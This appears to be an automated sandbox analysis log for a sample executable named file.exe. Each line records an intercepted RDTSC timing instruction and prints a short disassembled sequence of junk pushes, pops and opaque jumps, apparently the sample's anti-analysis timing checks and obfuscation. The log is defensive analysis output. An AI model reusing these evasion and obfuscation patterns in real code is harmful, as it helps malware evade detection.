Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B08F second address: 78B093 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B093 second address: 78B0A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B0A9 second address: 78B0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A0D3A808h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B0C6 second address: 78B0E0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F72A05280ECh 0x00000008 jbe 00007F72A05280E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B0E0 second address: 78B0EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F72A0D3A7F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B168 second address: 78B16E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B16E second address: 78B1C7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F72A0D3A7F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007F72A0D3A7FCh 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jns 00007F72A0D3A813h 0x00000021 mov eax, dword ptr [eax] 0x00000023 jmp 00007F72A0D3A7FEh 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B1C7 second address: 78B1CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B1CB second address: 78B279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 sub dword ptr [ebp+122D1C44h], esi 0x0000000e push 00000003h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F72A0D3A7F8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push 00000000h 0x0000002c sub dword ptr [ebp+122D3890h], edx 0x00000032 push 00000003h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F72A0D3A7F8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Ch 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e add edi, dword ptr [ebp+122D3DD4h] 0x00000054 push 9EAB8A05h 0x00000059 jno 00007F72A0D3A7FCh 0x0000005f xor dword ptr [esp], 5EAB8A05h 0x00000066 add dword ptr [ebp+122D387Eh], ebx 0x0000006c lea ebx, dword ptr [ebp+12455FA3h] 0x00000072 mov dword ptr [ebp+122D3890h], ecx 0x00000078 xchg eax, ebx 0x00000079 pushad 0x0000007a jo 00007F72A0D3A80Ah 0x00000080 jmp 00007F72A0D3A804h 0x00000085 push eax 0x00000086 push edx 0x00000087 push eax 0x00000088 push edx 0x00000089 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B279 second address: 78B27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B27D second address: 78B293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B37F second address: 78B384 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B384 second address: 78B3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jo 00007F72A0D3A800h 0x00000013 pushad 0x00000014 jng 00007F72A0D3A7F6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 jnl 00007F72A0D3A7F8h 0x00000027 push eax 0x00000028 pop eax 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B3AD second address: 78B3B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B3B3 second address: 78B405 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A7FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F72A0D3A7FCh 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jmp 00007F72A0D3A800h 0x00000020 lea ebx, dword ptr [ebp+12455FACh] 0x00000026 sub dword ptr [ebp+122D2A62h], edi 0x0000002c xchg eax, ebx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 jnc 00007F72A0D3A7F6h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B405 second address: 78B40F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA4F9 second address: 7AA50A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F72A0D3A7FCh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA66E second address: 7AA674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA674 second address: 7AA678 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA7CA second address: 7AA7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F72A05280E6h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA7DC second address: 7AA7E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA7E5 second address: 7AA7EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA7EB second address: 7AA7F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA923 second address: 7AA927 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA927 second address: 7AA97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A0D3A802h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F72A0D3A809h 0x00000011 jp 00007F72A0D3A7F6h 0x00000017 push eax 0x00000018 pop eax 0x00000019 popad 0x0000001a pushad 0x0000001b jnc 00007F72A0D3A7F6h 0x00000021 pushad 0x00000022 popad 0x00000023 jc 00007F72A0D3A7F6h 0x00000029 push eax 0x0000002a pop eax 0x0000002b popad 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f push ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA97A second address: 7AA985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F72A05280E6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAAFB second address: 7AAB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F72A0D3A805h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAF9F second address: 7AAFA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB21C second address: 7AB22F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A7FEh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB22F second address: 7AB235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB235 second address: 7AB23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB39F second address: 7AB3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB3A3 second address: 7AB3BC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jng 00007F72A0D3A7FCh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABA44 second address: 7ABA51 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F72A05280E8h 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABA51 second address: 7ABA74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F72A0D3A7F6h 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F72A0D3A803h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABA74 second address: 7ABA78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABA78 second address: 7ABA86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F72A0D3A809h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABA86 second address: 7ABA9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72A05280EDh 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABC31 second address: 7ABC37 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABC37 second address: 7ABC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABED9 second address: 7ABEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABEDD second address: 7ABF0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280ECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F72A05280F4h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 js 00007F72A05280E6h 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABF0D second address: 7ABF11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABF11 second address: 7ABF1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC1DD second address: 7AC1E9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F72A0D3A7F6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779EBD second address: 779EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779EC2 second address: 779ECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FBE9 second address: 76FBF6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F72A05280E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FBF6 second address: 76FC06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push edx 0x00000007 push ecx 0x00000008 jnc 00007F72A0D3A7F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B53AD second address: 7B53D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F72A05280F0h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F72A05280E8h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6E17 second address: 7B6E3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A800h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F72A0D3A7FBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6E3B second address: 7B6E41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6E41 second address: 7B6E5B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F72A0D3A7FCh 0x00000008 jl 00007F72A0D3A7F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6E5B second address: 7B6E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6E5F second address: 7B6E65 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6E65 second address: 7B6E74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6E74 second address: 7B6E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6E78 second address: 7B6EA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c jmp 00007F72A05280F7h 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F72A05280E6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B6EA3 second address: 7B6EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774E29 second address: 774E4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jnp 00007F72A05280E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774E4F second address: 774E60 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F72A0D3A7FBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAC91 second address: 7BAC95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAC95 second address: 7BAC9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAC9D second address: 7BACBE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F72A0528103h 0x00000008 jmp 00007F72A05280F7h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BBF65 second address: 7BBF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC02B second address: 7BC02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC02F second address: 7BC0B1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jmp 00007F72A0D3A807h 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 jl 00007F72A0D3A804h 0x00000018 jmp 00007F72A0D3A7FEh 0x0000001d pop eax 0x0000001e pop eax 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007F72A0D3A7F8h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 0000001Dh 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 pushad 0x0000003a jp 00007F72A0D3A7FCh 0x00000040 mov dx, 9A68h 0x00000044 popad 0x00000045 push 31DAAE90h 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d jg 00007F72A0D3A7F6h 0x00000053 pushad 0x00000054 popad 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC313 second address: 7BC31D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F72A05280E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC31D second address: 7BC337 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A800h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC337 second address: 7BC33B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BC6E6 second address: 7BC6F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F72A0D3A7F8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCB17 second address: 7BCB21 instructions: 0x00000000 rdtsc 0x00000002 js 00007F72A05280E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCB21 second address: 7BCB27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCB27 second address: 7BCB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCBB1 second address: 7BCBB7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCBB7 second address: 7BCC21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F72A05280E8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D2A2Ch], eax 0x0000002c nop 0x0000002d jmp 00007F72A05280EEh 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F72A05280F7h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCC21 second address: 7BCC26 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCC83 second address: 7BCC90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCC90 second address: 7BCC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCDA5 second address: 7BCDC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A05280F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCEFE second address: 7BCF02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD010 second address: 7BD014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD09C second address: 7BD0A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F72A0D3A7F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE01F second address: 7BE024 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF0E6 second address: 7BF0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF0EA second address: 7BF113 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnp 00007F72A05280E6h 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push ebx 0x00000012 jc 00007F72A05280E6h 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F72A05280EEh 0x00000020 rdtsc
